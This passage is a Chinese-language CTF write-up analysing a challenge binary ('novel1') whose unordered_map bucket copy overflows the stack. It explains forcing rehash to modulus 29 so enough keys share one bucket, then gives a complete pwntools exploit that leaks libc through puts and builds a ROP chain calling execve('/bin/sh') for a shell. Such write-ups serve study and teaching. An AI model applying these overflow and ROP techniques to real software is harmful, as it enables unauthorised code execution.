std::istream::operator>>(&std::cin, v3);
v6 = std::unordered_map<unsigned int,unsigned long>::end(&bloodstains);
v7 = std::unordered_map<unsigned int,unsigned long>::find(&bloodstains, v3);
if ( (unsigned __int8)std::__detail::operator!=(&v7, &v6) )
{
std::allocator<char>::allocator(v9);
std::string::basic_string<std::allocator<char>>(v8, "This bloodstain has been found.", v9);
fragment(v8);
}
std::operator<<<std::char_traits<char>>(&std::cout, "Evidence: ");
std::istream::operator>>(&std::cin, &v2);
v0 = v2;
result = (_QWORD *)std::unordered_map<unsigned int,unsigned long>::operator[](&bloodstains, v3);
*result = v0;
return result;
}这里分析易知是在通过 [] 操作符向 unordered_map 里面赋值元素。
part2
unsigned __int64 __fastcall part2()
{
__int64 v0; // rax
__int64 v1; // rax
unsigned __int64 i_1; // rax
_DWORD buf[39]; // [rsp+0h] [rbp-140h] BYREF
_DWORD v4[3]; // [rsp+9Ch] [rbp-A4h] BYREF
__int64 v5; // [rsp+A8h] [rbp-98h] BYREF
_QWORD v6[5]; // [rsp+B0h] [rbp-90h] BYREF
_QWORD v7[4]; // [rsp+DFh] [rbp-61h] BYREF
_BYTE v8[24]; // [rsp+100h] [rbp-40h] BYREF
unsigned __int64 i_2; // [rsp+118h] [rbp-28h]
__int64 v10; // [rsp+120h] [rbp-20h]
unsigned __int64 i; // [rsp+128h] [rbp-18h]
memset(buf, 0, 0x90u);
std::operator<<<std::char_traits<char>>(&std::cout, "Blood: ");
std::istream::operator>>(&std::cin, v4);
*(_QWORD *)&v4[1] = std::unordered_map<unsigned int,unsigned long>::end(&bloodstains);
v5 = std::unordered_map<unsigned int,unsigned long>::find(&bloodstains, v4);
if ( (unsigned __int8)std::__detail::operator==(&v5, &v4[1]) )
{
std::allocator<char>::allocator(v7);
std::string::basic_string<std::allocator<char>>(v6, "This bloodstain has not been found.", v7);
fragment(v6);
}
v10 = std::unordered_map<unsigned int,unsigned long>::bucket(&bloodstains, v4);
i_2 = std::unordered_map<unsigned int,unsigned long>::bucket_size(&bloodstains, v10);
std::unordered_map<unsigned int,unsigned long>::end((char *)v7 + 1, &bloodstains, v10);
std::unordered_map<unsigned int,unsigned long>::begin(v8, &bloodstains, v10);
std::copy<std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>,std::pair*<unsigned int,unsigned long>>(
v8,
(char *)v7 + 1,
buf);
std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>::~_Local_iterator(v8);
std::__detail::_Local_iterator<unsigned int,std::pair<unsigned int const,unsigned long>,std::__detail::_Select1st,std::hash<unsigned int>,std::__detail::_Mod_range_hashing,std::__detail::_Default_ranged_hash,false,false>::~_Local_iterator((char *)v7 + 1);
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Through analysis, similar bloodstains are as follows: ");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
for ( i = 0; ; ++i )
{
i_1 = i;
if ( i >= i_2 )
break;
v1 = std::ostream::operator<<(&std::cout, buf[0]);
std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
return i_1;
}part2 实现了一个 copy 功能,把一个哈希桶里面的所有数据复制到栈上,我们知道,哈希桶里的元素是没有限制的,因此这里存在栈溢出。所以我们的主要问题是如何把我们输入的数据都落在同一个哈希桶中
漏洞利用
unorder_map 初始模数是 13 因此只要我们输入的键 mod 13 是同一个数,数据就会落在同一个哈希桶中,但是如果同一个桶中的元素超过模数(13),程序为了避免查找时间过长,会进行扩容,将模数扩大到 29,桶的数量也变成 29 个,所有元素将会通过模数 29 重新计算哈希,重新放入桶中。
我们计算缓冲区到返回地址,需要 21 * 0x10 字节,所以我们至少需要往一个桶中放入 21 个数据,因此我们需要先将模数变为 29,也就是触发其扩容。当触发扩容后模数变为 29,我们就可以往桶里面最多放入 29 个数据,这样我们就可以通过栈溢出覆盖返回地址从而劫持执行流。
exp
#!/usr/bin/python3
from pwn import *
import os
context(log_level="debug",os="linux",arch="amd64")
os.environ['LD_LIBRARY_PATH'] = './lib'
pr = lambda x: success('\x1b[01;38;5;214m' + hex(x) + '\x1b[0m')
sl = lambda x: p.sendline(x)
s = lambda x: p.send(x)
rt = lambda x: p.recvuntil(x)
ru = lambda x: u64(p.recv(x).ljust(8,b'\x00'))
ri = lambda x: int(p.recv(x),16)
it = lambda : p.interactive()
file_name = './novel1'
p = process(file_name)
#p = remote(")
elf = ELF(file_name)
libc = elf.libc
os.environ['LD_LIBRARY_PATH'] = ''
pie = 0
def dbg(* addrs):
pay = ''
if pie:
for i in addrs:
pay += 'b *$rebase( ' + str(i) + ')' + '\n'
else:
for i in addrs:
pay += 'b *' + str(i) + '\n'
gdb.attach(p,pay)
def cd(choose):
rt("Chapter: ")
sl(str(choose))
def add(blood,evidence):
cd(1)
rt("Blood: ")
sl(str(blood))
rt("Evidence: ")
sl(str(evidence))
def part2(blood):
cd(2)
rt("Blood: ")
sl(str(blood))
ret = 0x000000000040201a
rsp = 0x00000000004025be
addr = 0x040A540
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
fgets = 0x040283C
rop = flat(puts_got,0,puts_plt,fgets,0,fgets)
rt("Author: ")
sl(rop)
for i in range(0xb):
add(1+i*29,i)
add(1+0xb*29,rsp)
add(1+0xc*29,addr)
for i in range(0xd,0x16):
add(1+i*29,i)
# dbg(0x0040285C)
part2(1)
rt("as follows: ")
rt("610\n"*8)
libc.address = ru(6) - libc.sym["puts"]
pr(libc.address)
rax = next(libc.search(asm("pop rax;ret")))
rdi = next(libc.search(asm("pop rdi;ret")))
rsi = next(libc.search(asm("pop rsi;ret")))
rdx = next(libc.search(asm("pop rdx;pop r12;ret")))
syscall = next(libc.search(asm("syscall;ret")))
binsh = next(libc.search("/bin/sh"))
pr(syscall)
pay = flat(0,0,0,0,0,rax,59,rdi,binsh,rsi,0,rdx,0,0,syscall)
sl(pay)
it()深入剖析STL四大容器底层内存结构及反汇编行为,揭示小字符串优化、vector三指针模型、map红黑树节点布局与unordered_map哈希桶机制,并结合CTF例题讲解栈溢出利用原理。
由 AI 根据全文自动生成,仅供参考,以原文为准